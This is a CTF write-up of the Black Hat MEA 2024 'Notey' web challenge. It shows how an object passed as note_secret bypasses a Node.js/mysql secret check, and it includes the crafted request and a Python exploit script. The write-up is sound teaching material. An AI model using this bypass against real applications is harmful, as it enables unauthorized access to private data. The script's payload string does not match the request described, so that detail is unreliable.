Cyber Security Writeups

CTF Write-Up: Notey BlackHatMEA 2024

بسم الله الرحمن الرحيم

Introduction

Hey, folks with you volk in this writeup we are going to solve and explain Notey Challenge

Which Was in Black Hat MEA 2024 CTF

The difficulty of the challenge is medium and the challenge is a white box and written in NodeJS.

 

Challenge Overview:

  • Name: Notey

  • Platform: Flagyard

  • Category: Web

  • Difficulty: Medium

  • Event: The CTF competition (BlackHATMEA 2024) was held online on Flagyard

Challenge Goal:

The goal was to exploit vulnerabilities in a note-sharing web application and retrieve the flag stored

in an administrator’s note, which was protected by a secret.

The application had user registration, login, and note retrieval functionalities.

However, notes could only be accessed with a correct combination of a note_id and a note_secret.

Steps Taken:


1. Analyzing the Application:

The first step was to examine the core functionality of the web application. The website allowed users to:

 

  • Register an account

 

  • Log in to their account

 

  • Create and store notes

 

  • View their own notes using note_id and note_secret

 

The description hinted at the possibility of accessing others’ notes,

which led me to focus on how the application handled viewing notes.

Upon registering and exploring the site, it was clear that every note had a unique identifier (note_id) and a corresponding secret (note_secret).

Here’s a snippet of the backend code for viewing notes:

app.get('/viewNote', middleware.auth, (req, res) => {
    const { note_id, note_secret } = req.query;
    
    if (note_id && note_secret) {
        db.getNoteById(note_id, note_secret, (err, notes) => {
            if (err) {
                return res.status(500).json({ error: 'Internal Server Error' });
            }
            return res.json(notes);
        });
    } else {
        return res.status(400).json({"Error": "Missing required data"});
    }
});

To access a note, two GET parameters were needed:

  • note_id (which uniquely identifies the note)
  • note_secret (a secret value associated with the note)

2. Vulnerability Discovery:

By analyzing how the application handled requests, I discovered a vulnerability in the way

URL-encoded parameters were processed.

The application used body-parser with the extended: true option, which allowed for more

complex data structures to be passed in the query parameters.

This could be exploited to manipulate how note_secret was handled,

potentially bypassing the correct value check by passing a maliciously crafted object.

Here’s an example of how the request parameters were processed:

app.use(bodyParser.urlencoded({
    extended: true
}));

This meant that I could pass an object as note_secret,

causing the application to mishandle the parameter when building the SQL query.

3. Understanding the SQL Query:

The backend SQL query is used to retrieve a note based on note_id and note_secret looked like this:

function getNoteById(noteId, secret, callback) {
    const query = 'SELECT note_id, username, note FROM notes WHERE note_id = ? and secret = ?';
    console.log(noteId, secret);
    pool.query(query, [noteId, secret], (err, results) => {
        if (err) {
            console.error('Error executing query:', err);
            callback(err, null);
            return;
        }
        callback(null, results);
    });
}

The goal was to manipulate the note_secret parameter to trick the application into

thinking it had received the correct value.

4. Exploit Plan:

I crafted a SQL Injection-like attack by passing an object instead of a string for the note_secret. Specifically,

I used parameter pollution to inject a comparison (note_secret[secret]=1), which would cause

the query to evaluate as true and allow me to bypass the actual secret check.

The final GET request looked like this:

/viewNote?note_id=66&note_secret[secret]=1

This query forced the SQL query to evaluate as:

SELECT note_id, username, note FROM notes WHERE note_id = 66 AND secret = secret = '1'

Since secret = secret = '1' is always true in SQL, this bypassed the need for the correct note_secret.

5. Automating the Attack:

To automate the exploitation process, I wrote a Python script that:

 

  • Registered a new user

 

  • Logged in with that user’s credentials

 

  • Accessed the administrator’s note by exploiting the note_secret parameter

Here’s the Python script I used:

import requests

# Define the base URL of the target application
base_url = 'http://host.com'  # Replace with actual target URL

# Define user credentials and note ID
username = 'testuser'
password = 'testpassword'
note_id = '66'  # Note ID where the flag is stored

# Function to register a user
def register_user(session):
    url = f'{base_url}/register'
    data = {
        'username': username,
        'password': password
    }
    response = session.post(url, data=data)
    if response.status_code == 200:
        print('User registered successfully.')
    else:
        print('Failed to register user:', response.status_code, response.text)

# Function to log in the user
def login_user(session):
    url = f'{base_url}/login'
    data = {
        'username': username,
        'password': password
    }
    response = session.post(url, data=data)
    if response.status_code == 200:
        print('Login successful.')
    else:
        print('Failed to login:', response.status_code, response.text)

# Function to view the note by ID, exploiting the note_secret vulnerability
def view_note_by_id(session, note_id):
    url = f'{base_url}/viewNote'
    
    # Malicious payload to exploit note_secret
    params = {
        'note_id': note_id,
        'note_secret': 'anything&secret[secret]=1'  # Exploiting the note_secret parameter
    }
    response = session.get(url, params=params)
    
    # Print the response details
    print('View Note Response:')
    print('Status Code:', response.status_code)
    print('Response Body:', response.text)

# Main function to run the exploit
def main():
    session = requests.Session()

    # Register a new user
    register_user(session)

    # Log in with the newly created user
    login_user(session)

    # Access the note with the manipulated note_secret
    view_note_by_id(session, note_id)

# Execute the main function
if __name__ == '__main__':
    main()

6. Flag Retrieval:

By running the script, I successfully retrieved the flag stored in the administrator’s note.

The vulnerable query interpreted the note_secret as true,

allowing me to access the note without needing the correct secret.

The response from the /viewNote endpoint contained the hidden flag:

Conclusion:

This challenge demonstrated a critical vulnerability in how the application processed URL-encoded parameters.

By manipulating how note_secret was interpreted, I was able to bypass security checks and retrieve the flag.

Learning Resources:

I also found StackHawk’s guide on SQL Injection in Node.js

extremely helpful in understanding how SQL injection vulnerabilities manifest in Node.js applications

and how they can be exploited. For more information on preventing such vulnerabilities,

I highly recommend checking out their guide: Node.js SQL Injection Guide by StackHawk.

Volk_407
My name is Moustafa I am a Penetration tester 💻 | Bug Hunter 🐛 | Video Editor 🎥 Acknowledgements: Marvel/TWDC | Pinterest | Picsart | Vanilla Certifications: eJPT | eWPTX | eMAPT | ICCA | CAP